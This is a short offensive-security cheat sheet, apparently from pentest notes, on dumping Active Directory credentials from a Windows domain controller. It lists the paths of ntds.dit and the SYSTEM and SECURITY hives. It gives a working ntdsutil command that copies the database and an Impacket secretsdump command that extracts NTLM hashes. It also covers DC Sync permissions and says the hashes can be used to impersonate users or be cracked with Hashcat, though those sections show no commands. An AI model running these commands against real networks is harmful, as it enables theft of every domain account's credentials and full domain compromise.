NTDS Domain Controller
NTDS (Active Directory Database) stores domain-related information in Windows environments. The NTDS data is stored in the following locations:
NTDS Database:
C:\Windows\NTDS\ntds.dit
System Configuration:
C:\Windows\System32\config\SYSTEM
Security Configuration:
C:\Windows\System32\config\SECURITY
Local Dumping (No Credentials)
To access the NTDS database locally, use the following PowerShell command:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
We can export ntds.dit, SYSTEMand SECURITYusing scp.
Then, use the Impacket suite to crack the data.
python3.9 /opt/impacket/examples/secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local
Remote Dumping (With Credentials)
DC Sync is possible when an account has one of the following permissions:
Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes in Filtered Set
To dump hashes remotely with DC Sync, use Impacket:
Cracking NTLM Hashes
Once NTLM hashes are obtained, they can be used for impersonation or cracked to retrieve the password. To crack the hash, use Hashcat: